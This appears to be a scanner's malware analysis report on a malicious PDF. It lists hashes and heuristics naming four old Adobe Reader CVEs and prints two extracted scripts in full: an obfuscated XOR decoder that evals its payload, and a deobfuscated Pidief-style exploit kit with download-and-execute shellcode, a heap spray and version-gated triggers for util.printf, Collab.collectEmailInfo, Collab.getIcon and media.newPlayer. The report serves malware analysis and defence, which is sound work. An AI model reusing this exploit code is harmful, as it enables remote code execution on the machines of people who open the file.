Malicious PDF — malware analysis report

Static analysis result for SHA-256 a1afc5993ca4adfd…

MALICIOUS

PDF

13.7 KB Authoring application: Ropajeketdiice First seen: 2026-05-11
MD5: bc89f89db07b9de890f8d57f9654512c SHA-1: c2be37a29130cfff122ab4adf2f839acf3563eb5 SHA-256: a1afc5993ca4adfdc38f2fd3c4b6d8e3a28dc3a38b7ebd34deaac514c3046071
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2D5B 2599 bytes
SHA-256: d62721f034bb288b410a36bff97967b799cc05bb008cb1f2866b10d5d231a678
Preview script
First 1,000 lines of the extracted script
// de60c311e0daf80234297adafa915a29
var b=30-28;
// f385bf5afb71cd011d73b3cdb87fe618
var bM=new String("leng1EKk".substr(0,4)+"th");
// 27afb74f5f99cfa05da487ee9abac356
var qX=new String("unes"+"cape");
// 6ae3746e791314f1cb39f8f3f80fc3f3
var h=String;
// 8144dc0bd38af13600470065014f3236
var x=new String("subs"+"tr");
// b531dc11b763aeb70c86e331b0f52e20
var v=3;
// 3f5d3268999b6d27bc7d6d86d9391848
var r=74-73;
// b3796c1b5760edf7e9eb22da08513fac
var z="chartBn".substr(0,4)+"Code"+"3xJAtxJ3".substr(3,2);
// 6a65c8234f8fd678f59a7975afc75478
var zE="from"+"Char"+"Code";
// 3296bd43bb976fb9dc28f9df4766a0cd
var iL=this;
// 6e7e3e010fe80586b0c8d77d984f607b
var zS=String("evlTQC".substr(0,2)+"al");
// 233856fc2b984a16aa9ab4ede6abd845
var iLK=93;
// 21e4b01981eddd911ea592a9aeb499f2
var aP="getPa"+"geNumUlz".substr(0,5)+"I2vPWordsPIv2".substr(4,5);
// a2e73773f481cbf28011f825b0cb2ee4;
// d68c02d3cc65c31b981a5ed8d3deff0e
var vE=String("ch"+"ar"+"Co"+"de"+"At1Lx".substr(0,2));
// da359750c6b210aa33db8e6617d8b1cf
var oT=100-100;
// 8271d6e96302c23c2799ec77cc96136d
var j=new String("get"+"PagTcr".substr(0,3)+"5n2eNtn25".substr(3,3)+"hWo"+"vB2rdvB2".substr(3,2));
// 947f05c4e92824f7586bb410e3bd6b69
var l=new String("%sOyf".substr(0,1));
// 7ab7168b06af7fe6459e4954d4bda97b
function f(d){return d[bM]-b};
// 4a1f91d9bcabef256956df96cd487e13
function xG(eV,n){return eV^n;};
// bb4587372a7598b5e68e1401271c5078
function dA(d,mF){return d[mF]};
// 70c66937f81def2d61f7430f8fc2e6d7;
// 771c620be0a91e16899da3745418b6d8
var nM=iL[zS];
// 9cde41aa732aa9216138b9748dd57206
var oJ=new h();
// 2f8e4e76585fe705de706d29df40ade1
var zU=iL[aP](v);
// c7691046748770c2841f25744a2ead3b
var eX=iL[qX];
// 0984f2ba07c3b89f3c6eb0aacbc7603c
function t(d,bI){return d[x](bI,b)};
// 9cc394bc7e0171ccc3c27ff6354d5b51
var z=iL[z];
// 86b68babc5ac2e26c257cfb48c74dfe1
function cZ(bU,cB){return bU-cB};
// 3755b5b71c370c853106361979fc2460
function bQ(bU,cB){return bU+cB};
// 7f5b549a19f8c53ecf3d1e8da2fc4ff2
function yL(rW,bI){return rW[vE](bI)};
// 182d670b1eb42508dc3339b9413e3938
function kJ(p){return iL[j](v,p)};
// 5049e3bb7a2daa5afde1d3715ff372f5
function vG(p){
// 867b5eab9630ddb79b09c64d7327d9c3
var oF=kJ(p);
// c5e2d87801e6a7b51a67c8f55fe949cb
bI=f(oF);
// a81e5170e678c7bb540dde4aa8302f47
jG=t(oF,bI);
// 0467993a776125102db7c4052fea54c9
mV = eX(bQ(l,jG));return yL(mV,oT);};for(var p=oT;p<zU;p++){
// 2385bbb439c7573efdf5cd6be3a9ce6b
var hS=vG(p);
// a5473fe9fae8550a89db2e8403a3debd
var kB=xG(hS,iLK);
// 0f398819d2738d41624cd79ecce5cde3
oJ+=dA(h,zE)(kB);
// 492050a374c95e5dde6dfe7ea0628a84
}nM(oJ);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3777 bytes
SHA-256: 76cdadd50079aee0dcfeed0722f6d4cdd7002cf0a105bbebc043679c44873702
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��������������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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